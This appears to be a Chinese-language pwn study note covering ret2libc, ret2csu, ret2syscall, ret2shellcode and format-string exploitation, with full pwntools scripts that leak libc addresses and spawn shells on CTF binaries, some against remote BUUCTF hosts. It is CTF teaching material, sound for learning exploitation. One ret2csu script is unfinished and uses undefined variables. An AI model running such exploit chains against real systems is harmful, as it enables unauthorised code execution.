3.根据libc库的版本可以很容易的确定puts函数的偏移地址。
4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。
5.根据libc函数的版本,很容易确定system函数和"/bin/sh"字符串在libc库中的偏移地址。
6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。
7.再次构造合理的payload2,劫持程序的执行流程,劫持到system("/bin/sh")的真实地址,从而拿到shell。
  • 基地址 = 真实地址  -  偏移地址

  • 0x01 获取基地址, 并求出需要用的函数的地址

  • rdi , rsi , r15(没用的) 赋值并ret

  • p64(1) 为标准输出, rsi 传入 write@got(要泄漏的地址) , r15 用垃圾值 0xdeadbeef 填充

  • 再调用 p64(write_symbols) 输出, 即可获得实际地址:

  • 基地址 = 真实地址 - 偏移地址 = libc_base = write_addr - libc.sym["write"]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile= './question_5_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # ldd FILENAME 来查看 (下面获取system..的偏移地址需要用到)

padding = 0x10
gdb.attach(io)
pause()

leak_write_got = 0x404018
# leak_write_got = elf.got["write"] 也是可以的, 目的是获取write@got
write_symbols = elf.symbols['write']

return_addr = elf.symbols['dofunc']
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9 #因为是write(x,x,x) 有三个参数 所以要传入 rdi rsi rdx
# 没有rdx的ROP那就用已经存在的

payload = b'a' * padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_write_got) + p64(0xdeadbeef)
payload += p64(write_symbols)
# rdi为第一个参数 传入1 标准输出 (0代表标准输入 2错误重定向)
# rsi为第二个参数 传入write@got
# r15没有实际用处,传入junk数据就好
# 最后调用write (write_symbols), 输出write在libc中的真实地址!

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil("byebye")
write_addr = u64(io.recv().ljust(8,b"\x00")) # 处理数据
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"] # 基地址 = 真实地址 - 偏移地址
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

io.interactive()
  • 得出
1
2
3
4
write_addr: 0x70300a71c560
libc_base: 0x70300a600000
system: 0x70300a658750
bin_sh: 0x70300a7cb42f
  • 0x02 构造最终payload
    只需要在原来的基础上增加x64位传参的语句就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile= './question_5_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # ldd FILENAME 来查看 (下面获取system..的偏移地址需要用到)

padding = 0x10
leak_write_got = 0x404018
# leak_write_got = elf.got["write"] 也是可以的, 目的是获取write@got
write_symbols = elf.symbols['write']
return_addr = elf.symbols['dofunc']
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9 #因为是write(x,x,x) 有三个参数 所以要传入 rdi rsi rdx
# 没有rdx的ROP那就用已经存在的

payload = b'a' * padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_write_got) + p64(0xdeadbeef)
payload += p64(write_symbols)
# rdi为第一个参数 传入1 标准输出 (0代表标准输入 2错误重定向)
# rsi为第二个参数 传入write@got
# r15没有实际用处,传入junk数据就好
# 最后调用write (write_symbols), 输出write在libc中的真实地址!
payload += p64(return_addr)
# 重新回到dofunc 函数,为下面最终payload腾空间

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil("byebye")
write_addr = u64(io.recv(6).ljust(8,b"\x00")) # 处理数据
# io.recv(6) 代表只接受六位数据
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"]
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

gdb.attach(io)
pause()
payload2 = b'a' * padding + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# 熟悉的x64传参方式,先传入binsh到rdi, 然后调用system

delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
io.interactive()

[+] 在构造 payload2的时候,注意栈对齐问题,可以在 pop_rdi_ret 之前加上一个return_addr

1
payload2 = b'a' * padding + p64(return_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)

栈情况 :

1
2
3
4
5
02:0010│ rsi 0x7ffd0c5d84b0 ◂— 0x6161616161616161 ('aaaaaaaa')
03:0018│ rbp 0x7ffd0c5d84b8 ◂— 0x6161616161616161 ('aaaaaaaa')
04:0020│+008 0x7ffd0c5d84c0 —▸ 0x4011fb (__libc_csu_init+91) ◂— pop rdi
05:0028│+010 0x7ffd0c5d84c8 —▸ 0x72d6259cb42f ◂— 0x68732f6e69622f /* '/bin/sh' */
06:0030│+018 0x7ffd0c5d84d0 —▸ 0x72d625858750 (system) ◂— endbr64
BUUCTF ciscn_2019_c_1 例题 (LibcSearcher)
1
2
3
4
5
6
7
8
❯ checksec ciscn_2019_c_1
[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

encrypt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

Shift + F12 没有看到 system , /bin/sh 等后门函数,猜测是 ret2libc
看到 encrypt 函数中的 gets(s) , 应该就是要溢出的地方,双击进去看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
-0000000000000050 s               db 48 dup(?)
-0000000000000020 anonymous_0 dw ?
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

可以看到栈顶到栈底一共 0x50 + 0x08 长度, 超过 +0000000000000008 r 就会导致溢出

解题思路:
main 函数中多次调用了 puts , 那就尝试泄露 puts 函数的地址,求出基地址,然后利用基地址计算出 system/bin/sh 的真实地址,rdi 传参 get shell

  • 溢出 0x58
  • ROPgadget 获取 pop_rdi_ret_addrret_addr 的地址
  • puts 函数输出 puts@got
  • 基地址 = 真实地址 - 偏移地址
  • 利用基地址和偏移地址求出 system/bin/sh 的真实地址
  • 回到 main 函数,重新调用 rdi 传参 /bin/shsystem , Get shell

0x0A 先求基地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

pwnfile = './ciscn_2019_c_1'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
context(log_level='debug',arch='amd64', os='linux')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400c83
ret_addr = 0x4006b9
main_addr = 0x400B28
padding = 0x58

payload = b'a' * padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('choice!\n', str(1))
io.sendlineafter('encrypted\n', payload)
io.recvuntil(b"Ciphertext\n")
io.recvuntil("\n")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print('puts_addr:',hex(puts_addr))

io.interactive()

输出: puts_addr: 0x7d6c58e87be0

0x0B 继续计算 system/bin/sh 的真实地址

1
2
3
4
5
6
libc_base = puts_addr - libc.sym["puts"]
print('libc_base:',hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system_addr:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

输出:

1
2
3
4
puts_addr: 0x7196f6087be0
libc_base: 0x7196f6000000
system_addr: 0x7196f6058750
bin_sh: 0x7196f61cb42f

0x0C 最终脚本:

1
2
3
payload2 = b'a' * padding + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter('choice!\n', str(1))
io.sendlineafter('encrypted\n', payload2)
1
2
3
4
5
6
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x8c bytes:
b'uid=1000(xekoner) gid=1000(xekoner) groups=1000(xekoner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),125(libvirt)\n'
uid=1000(xekoner) gid=1000(xekoner) groups=1000(xekoner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),125(libvirt)

在远程打这道题的时候,因为没有 libc 的问题,我们使用 LibcSearcher 这个库
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *

pwnfile = './ciscn_2019_c_1'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
context(log_level='debug',arch='amd64', os='linux')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = remote("node5.buuoj.cn",29492)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400c83
ret_addr = 0x4006b9
main_addr = 0x400B28
padding = 0x58

payload = b'a' * padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

io.sendlineafter('choice!\n', str(1))
io.sendlineafter('encrypted\n', payload)

io.recvuntil(b"Ciphertext\n")
io.recvuntil("\n")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print('puts_addr:',hex(puts_addr))

# libc_base = puts_addr - libc.sym["puts"]
# print('libc_base:',hex(libc_base))

# system_addr = libc_base + libc.symbols["system"]
# binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

print('system_addr:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

payload2 = b'a' * padding + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

io.sendlineafter('choice!\n', str(1))
io.sendlineafter('encrypted\n', payload2)
io.interactive()
ret2libc x86

与 ret2libc x64大差不差,步骤还是那几个

  • IDA 或者 gdb 计算溢出大小
  • 溢出后调用程序内的 write, 传参 1 标准输出, write@got, 4字节长度(i386)
  • 通过真实地址和偏移地址计算出基地址
  • 通过基地址和 libc 中的偏移地址计算出实际地址
  • ret 回 main 函数,重新构造 payload:调用 system 函数,传参 /bin/sh
    需要注意的是传参方式 :
1
2
3
4
5
6
7
8
9
10
11
12
x64:
rdx overflow
func (通过寄存器传参: rsi rdi rdx rcx r8 r9 ...)
xxxxxxxxxxxx
_______________________________________________________________________________
x86:
rdx overflow
func
main_ret (or other junk strings)
argc1
argc2
argc3

构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(log_level='debug',arch='i386', os='linux') # checksec FILENAME

pwnfile= './question_5_x86'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/i386-linux-gnu/libc.so.6") # 引入libc共享库文件

padding = 0x14
leak_write_got = elf.got['write'] # write@got
write_symbols = elf.symbols['write'] # main函数中的真实write地址
return_addr = elf.symbols['dofunc'] # dofunc_addr

payload = flat([b'a' * padding, write_symbols, return_addr, 1, leak_write_got, 4, return_addr])
# 溢出 -> 调用dofunc中的write(), dofunc_ret, argc1:1, argc2:write@got, argc3:4, 返回到dofunc

delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.recvuntil("byebye")
write_addr = u32(io.recv(4)) # 只需要最多读取四个字节
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"]
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

gdb.attach(io)
pause()

payload2 = flat([b'a' * padding, system_addr, return_addr, binsh_addr])

delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
io.recvuntil("byebye")

io.interactive()

有 system 无 binsh. BSS 段可写:

  • 填充栈空间 ->
  • p32(get_addr): 覆盖返回地址为 gets() 的 PLT 地址,程序会跳转到 gets() 执行
  • p32(sys_addr)gets() 的返回地址(即 gets() 执行完后会跳转到 system()
  • p32(bss_addr)gets() 的参数(即输入的目标地址),这里传入 BSS 段地址
  • p32(bss_addr)system() 的参数(即 /bin/sh 字符串的地址),与 gets() 的参数相同
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process('./ret21ibc2')
sys_addr = 0x8048490 # system() 函数的 PLT 地址
get_addr = 0x8048460 # gets() 函数的 PLT 地址
bss_addr = 0x8044080 # BSS 段的某个可写地址(用于存储输入字符串)
payload = 'a'*112 + p32(get_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)
# payload = b'A'*120 + p64(pop_rdi) + p64(bss_addr) + p64(gets_addr) + p64(sys_addr)

p.sendline(payload) # 发送 payload 触发栈溢出
p.sendline('/bin/sh') # 发送 "/bin/sh" 到 gets(),写入 BSS 段
p.interactive()
ret2csu x64

通过修改控制 gadget 的段落来达到控制参数的目的 (输出地址)

  • 找 __libc_csu_init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00000000004011D8 loc_4011D8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011D8 mov rdx, r14
.text:00000000004011DB mov rsi, r13
.text:00000000004011DE mov edi, r12d
.text:00000000004011E1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004011E5 add rbx, 1
.text:00000000004011E9 cmp rbp, rbx
.text:00000000004011EC jnz short loc_4011D8
.text:00000000004011EE
.text:00000000004011EE loc_4011EE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011EE add rsp, 8
.text:00000000004011F2 pop rbx <-- !(从这里开始 因为上面的add 指令我们并不需要)!
.text:00000000004011F3 pop rbp
.text:00000000004011F4 pop r12
.text:00000000004011F6 pop r13
.text:00000000004011F8 pop r14
.text:00000000004011FA pop r15
.text:00000000004011FC retn

执行思路

1
2
3
4
5
1 溢出
2 从0x4011F2 开始,retn = 0x4011D8(上面的一段)
3 r12=argc1; r13=argc2; r14=argc3
4 jnz xxx , 只需要让rbx = 0; rbp = 1 即可
5 call xxxx [r15+rbx*8]: 只需要使 rbx = 0 ; r15 = 要跳转的地址就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_5_plus_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10
leak_func_name ='write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

pop_rbx_addr = 0x4011F2 # __libc_csu_init 的下面一段
rbx=0
rbp=1
r12=1
r13=leak_func_got # write(1,leak_func_got,6)
r14=6
r15 = elf.got['write']
mov_rdx_r14_addr = 0x4011D8 # __libc_csu_init 的上面一段

payload = b'a'* padding
payload += flat([pop_rbx_addr , rbx , rbp , r12 , r13 , r14 , r15 , mov_rdx_r14_addr])
payload += p64(0xdeadbeef)*7 + p64(return_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.recvuntil('bye')
write_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('write_addr:',hex(write_addr))

libc_addr = write_addr - wirte_offset
print('libc_addr:',hex(libc_addr))

system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))



# payload2 = b'a'* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
# delimiter = 'input:'
# io.sendlineafter(delimiter, payload2)
# pause()
io.interactive()
ret2csu x64 例题 (没做完)

Buuctf ciscn_2019_s_3
可以输入0x400字节大小数据,可以栈溢出
在 64 位 Linux 系统中,系统调用(syscall)是通过 rax 寄存器来指定系统调用号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00000000004004ED                 push    rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; '0' ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed

第一段 xor rax, rax, rax = 0 , 为 read
第二段 mov rax, 1 , rax = 1,为 write

execve的系统调用号位59(0x3b)
可以尝试去构造 execve("/bin/sh",0,0), 从而 get shell

1
2
3
4
5
rax=59 
rsi='/bin/sh'
rax=0
rbx=0
ret=syscall

但是在 ROPgadget 中没有找到 sh 等字符串, **需要通过 read 自己写入 /bin/sh**

ret2syscall 0x32 / 0x64

基本rop之一,意为call system,控制程序执行系统调用,获取shell
利用的是 execve("/bin/sh",NULL,NULL)
向寄存器存放的参数分别为:

  • 系统调用号,即 eax 应该为 0xb ; 此为 execve 对应的系统调用号
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
  • int 0x80(触发中断)
    0x32 位例题
    0x01: 先 ROPgadget
1
2
3
4
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'eax'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ./pwn --string '/bin/sh'
ROPgadget --binary ./pwn --only 'int' (int 0x80)

0x02 编写脚本:

1
2
3
padding = 0x10 
payload = b'a' * padding + p32(pop_eax_ret) + p32(0x0b) # 为 execve 对应的系统调用号, 固定为0x0b
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh) + p32(int_0x80)

0x64 位例题
和32位大差不差,就是传参方面要用寄存器传参 (一般只需要用到三个参数)

1
2
3
4
5
6
7
|系统调用号|`rax`|
|第1个参数|`rdi`|
|第2个参数|`rsi`|
|第3个参数|`rdx`|
|第4个参数|`r10`|
|第5个参数|`r8`|
|第6个参数|`r9`|
1
2
3
4
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rax'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rsi'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdx'

注意! syscall 必须要带 ret
关于怎么找可以用:

1
2
3
4
5
objdump -d -M intel ./pwn | grep -A1 "syscall"

--
45f155: 0f 05 syscall
45f157: c3 ret
1
2
payload = b'a' * padding + rdi_addr + bin_sh + eax_rdx_ebx_addr + p64(0x3b
payload += p64(0x0) + p64(0X0) + rsi_addr + p64(0x0) + syscall_addr #这里的eax其实就是rax
ret2shellcode

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int dofunc(){
char buf[0x100];
int pagesize = getpagesize();
long long int addr = buf2;
addr = (addr >>12)<<12;
mprotect(addr, pagesize, 7);
puts("input:");
read(0,buf,0x200);
strncpy(buf2, buf, 100);
printf("bye bye ~");
return 0;
}

int main(){
dofunc();
return 0;
}

攻击思路

  • buf 栈中填入 shellcode , \x00 补满到 padding 处
  • rbp: junk 数据 (其实 \x00 补满到 padding 处已经补满 rbp 了 (padding = padding2rbp + 8))
  • ret 到 buf2 , 执行 shellcode

计算溢出长度 (等待 read 后输入八字节长度 (x64) 后输入)

1
2
pwndbg> distance $rsp $rbp
0x7fffffffdb00->0x7fffffffdc10 is 0x110 bytes (0x22 words)

rsp 到 rbp 的长度为 0x110 , 还需要加 rbp 的八字节

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(log_level='debug',arch='amd64',os='linux')
pwnfile = './question_6_3_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

buf2_ret = elf.symbols['buf2']
padding2rbp = 0x110
padding = padding2rbp + 8
payload = asm(shellcraft.sh()).ljust(padding, b'\x00') + p64(buf2_ret)

gdb.attach(io)
pause()

io.sendlineafter('input:', payload)
io.interactive()

.ljust(padding, b'\x00'): 用 \x00 填充至 padding 长度,确保覆盖到返回地址

关于栈迁移的可以去看 ciscn_2019_es_2 writeup(栈迁移)
ret2dlresolve

https://blog.csdn.net/qq_51868336/article/details/114644569

x32 无需确定 libc 版本, x64需要

  • NO RELRO 可以直接修改 string table entry func name,比如说 read -> system ,dl-resolve 调用的就是 system
  • Partial RELRO 需要在 st 中构造一个 fake 条目(因为不能修改 st 条目了),就相当于要构造 fake relocation fake symbols fake string table (function name) -> 'system\x00'

格式化字符串 (例题)

栈上格式化字符串

一般解题方法:

  • 找到偏移值
1
2
aaaa%p%p%p%p%p%p%p%p%p%p
aaaa%7$p (验证)
  • 任意地址写入
  • 修改什么地方的值
    • got 表项 : printf 修改为 system , buf 参数为输入的 /bin/sh
      • 怎么找到 system 的地址
    • one_gadget
    • malloc_hook:printf

x86 例题
0x0A 先泄露 main+30地址
01:0004│-124 0xffffd0e4 —▸ 0xffffd0fc ◂— 0x61616161 ('aaaa')
4b:012c│+004 0xffffd20c —▸ 0x5655638e (main+30) ◂— mov eax, 0

1
2
pwndbg> p (0xffffd20c-0xffffd0e0)/4
$5 = 75

验证: 在 main 中的 dofunc 中,read 后,输入

1
2
3
4
pwndbg> ni
%75$p
...
0x5655638e (可以看到和main+30处地址是一样的 1 0x5655638e main+30)

%75$p: 从栈上泄露第 75 个参数的值

Buuctf_jarvisoj_fm(x86 栈上格式化字符串漏洞)

buuctf pwn 板块 jarvisoj_fm 题目,考察 x86 栈上格式化字符串漏洞

  • checksec
1
2
3
4
5
6
7
[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/fm'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
  • IDA32
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

x=4 就可以拿到 shell, 看样子因该是格式化字符串漏洞,验证:

1
2
3
4
❯ ./fm
aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
aaaa.ff98b81c.50.1.0.1.eae9da20.ff98b934.0.ff98ba8b.35.61616161.2e78252e.252e7825.78252e78.2e78252e.252e7825
3!

看到输入的 aaaa 在第十一位输出了 61616161 , 那修改 x 的值就很简单了:

思路

  • 输入 x 的地址
  • 格式化字符串漏洞,利用 %11$n,将四字节( str(4) )写入%11,也就是 x 的地址的值
  • Get shell

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

pwnfile= './fm'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
io = remote("node5.buuoj.cn",26848)

x_addr = 0x804A02C
payload = p32(x_addr) + b'%11$n'
io.sendline(payload)

io.interactive()